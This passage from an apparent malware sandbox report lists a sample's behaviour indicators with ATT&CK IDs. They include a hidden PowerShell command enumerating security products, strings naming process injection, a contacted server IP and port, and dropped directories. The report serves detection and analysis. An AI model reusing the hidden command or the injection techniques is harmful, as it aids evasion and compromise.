Parser","mitre_attack_id":"T1082","relevance":5,"id":"static-190","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: file]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: installer.exe]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.dll at 39755-3292-00000001402A09E0\n GlobalMemoryStatusEx@KERNEL32.dll at 39755-5041-000000014015A63D","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileExW@KERNEL32.dll at 39755-11524-0000000140152C24","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate volumes (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerates all mounted drives","description":"GetDriveTypeW@KERNEL32.dll at 39755-4991-00000001401586FA","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-66","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"$38","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.dll at 39755-3294-00000001402A09C0\n GetSystemTimeAsFileTime@KERNEL32.dll at 39755-20686-00000001402960D5","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.dll at 39755-3294-00000001402A09C0\n GetSystemTime@KERNEL32.dll at 39755-3295-00000001402A09B0\n GetSystemTimePreciseAsFileTime@KERNEL32.dll at 39755-4469-00000001401524E0\n GetSystemTimeAsFileTime@KERNEL32.dll at 39755-20686-00000001402960D5","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine timezone","description":"GetTimeZoneInformation@KERNEL32.dll at 39755-16438-000000014028AB76","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-48","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"RtlGetVersion@ntdll.dll at 39755-11586-00000001401567A3","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceW@KERNEL32.dll at 39755-3300-00000001402A0960\n GetDiskFreeSpaceA@KERNEL32.dll at 39755-3301-00000001402A0950\n GetDiskFreeSpaceExW@KERNEL32.dll at 39755-4991-00000001401586FA","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.001","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"file.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"file.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"set list\" (Indicator: \"set \"; File: \"file\")\n Found string \"SET DEFAULT\" (Indicator: \"set \"; File: \"file\")\n Found string \"SET NULL\" (Indicator: \"set \"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; File: \"file\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"file\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; File: \"file\")\n Found reference to API \"FileTimeToLocalFileTime\" (Indicator: \"FileTimeToLocalFileTime\"; File: \"file\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"FileTimeToLocalFileTime\" (Indicator: \"FileTimeToLocalFileTime\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system","description":"GetSystemInfo@KERNEL32.dll at 39755-3320-00000001402A0820\n GetSystemInfo@KERNEL32.dll at 39755-5052-000000014015B313","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":4,"id":"stream-86","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"file\")\n Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"file\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"$39","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"file\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; File: \"file\")\n Found reference to API \"GetVolumePathNamesForVolumeNameW\" (Indicator: \"GetVolumePathNamesForVolumeName\"; File: \"file\")\n Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"GetVolumePathNamesForVolumeNameW\" (Indicator: \"GetVolumePathNamesForVolumeName\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.dll at 39755-3321-00000001402A0810\n OpenProcessToken@ADVAPI32.dll at 39755-5094-0000000140039868\n GetProcessHeap@KERNEL32.dll at 39755-11560-0000000140155DF5\n GetProcessHeap@KERNEL32.dll at 39755-12364-000000014017FF2B\n GetProcessHeap@KERNEL32.dll at 39755-12368-00000001401802F6","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to verify if file exist on disk (API string)","description":"Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-140","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetTimeZoneInformation@KERNEL32.dll directly followed by \"cmp eax, FFFFFFFFh\" and \"je 000000014028ACE2h\" at 39755-16438-000000014028AB76","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$3b","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"file.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"$3c","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExW\" in file \"file\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Able to read the PEB (Process Environment Block) structure","description":"\"sample.bin\" can read 64 bit PEB structure (dword ptr gs:[00000060h]) (Offset: 2657577)","origin":"Binary File","mitre_attack_id":"T1027.007","relevance":3,"id":"binary-30","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"file\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"Found string \"GetCommandLineA\" (Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"file\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"file\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"file.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE (UID: 00000000-00000700)\n \"file.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Packages\\Extensions (UID: 00000000-00000700)\n \"file.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0 (UID: 00000000-00000700)\n \"file.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0\\assets (UID: 00000000-00000700)\n \"file.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Packages\\Extensions\\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\\e0\\icons (UID: 00000000-00000700)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"file.exe\" called \"CreateProcessW\" with parameter \"\"getmac\" /fo csv /nh\" - (UID: 00000000-00000700)\n \"file.exe\" called \"CreateProcessW\" with parameter \"\"powershell\" -NoProfile -NonInteractive -WindowStyle Hidden -Command \"Get-CimInstance -Namespace root/SecurityCenter2 -ClassName A\" - (UID: 00000000-00000700)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"file.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00000700)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$3e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$3f","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"87.120.104.147:8080\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$40","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"file\")\n Found reference to API \"CreateProcessW failedWriteProcessMemory failedCreateRemoteThread failedinjection failed (empty output)VirtualAllocEx failedVirtualAllocEx (init) failedread inject out: oR\" (Indicator: \"CreateProcess\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"file\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to create named pipes for inter-process communication (IPC)","description":"NtCreateNamedPipeFile@ntdll.dll at 39755-3537-000000014014C310","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1559","relevance":10,"id":"stream-45","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"file\")\n Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"NtDeviceIoControlFile\"; File: \"file\")\n Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"DeviceIoControl\"; File: \"file\")\n Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"NtDeviceIoControlFile\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"WaitForSingleObjectEx@KERNEL32.dll at 39755-3308-00000001402A08E0\n WaitForSingleObject@KERNEL32.dll at 39755-3309-00000001402A08D0\n Sleep@KERNEL32.dll at 39755-3310-00000001402A08C0\n WaitForSingleObject@KERNEL32.dll at 39755-3507-0000000140151070\n WaitForSingleObject@KERNEL32.dll at 39755-3508-0000000140142E80\n WaitForSingleObject@KERNEL32.dll at 39755-3512-000000014013EED0\n WaitForSingleObject@KERNEL32.dll at 39755-3557-0000000140138F20\n WaitForSingleObject@KERNEL32.dll at 39755-3565-00000001401401B0\n WaitForSingleObject@KERNEL32.dll at 39755-3570-000000014013EA00\n WaitForSingleObject@KERNEL32.dll at 39755-3577-000000014013C510\n WaitForSingleObject@KERNEL32.dll at 39755-3791-000000014015D5B3\n WaitForSingleObject@KERNEL32.dll at 39755-4150-000000014001D35C\n WaitForSingleObject@KERNEL32.dll at 39755-4318-000000014002204E\n WaitForSingleObject@KERNEL32.dll at 39755-4564-000000014002A35D\n WaitForSingleObjectEx@KERNEL32.dll at 39755-11232-000000014013425C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"file\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: file)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: 205792_clip.exe.part)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: installer.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: 205795_build_x64.exe.part)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryW@KERNEL32.dll at 39755-3286-00000001402A0A40\n LoadLibraryA@KERNEL32.dll at 39755-3315-00000001402A0870\n LoadLibraryA@KERNEL32.dll at 39755-4496-00000001400277D4\n LoadLibraryA@KERNEL32.dll at 39755-11232-000000014013425C\n LoadLibraryExA@KERNEL32.dll at 39755-12364-000000014017FF2B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$42","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteW\" (Indicator: \"ShellExecute\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"576,3040,3141,,LoadResource,kernel32.dll,\"00:50:34.515\",RX=0,PX=0\" (Indicator: \"LoadResource\"; Source: \"00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"User authentication using Basic authentication scheme failed. %n%n Additional Data %n Unexpected error received from LogonUser %1: %%%1.\" (Indicator: \"LogonUser\"; Source: \"00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"file\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"file\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"file\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; File: \"file\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"file\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains artifacts from Rust programming language","description":"$44","origin":"File/Memory","relevance":1,"id":"string-943","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileExW in import section (Source: file)\n Found MoveFileExW in import section (Source: installer.exe)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$45","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$46","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"ck_700_1786568180296664000.bin\" as clean (type is \"zlib compressed data\")\n Antivirus vendors marked dropped file \"ck_700_1786568186825132500.bin\" as clean (type is \"data\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -NoProfile -NonInteractive -WindowStyle Hidden -Command \"Get-CimInstance -Namespace 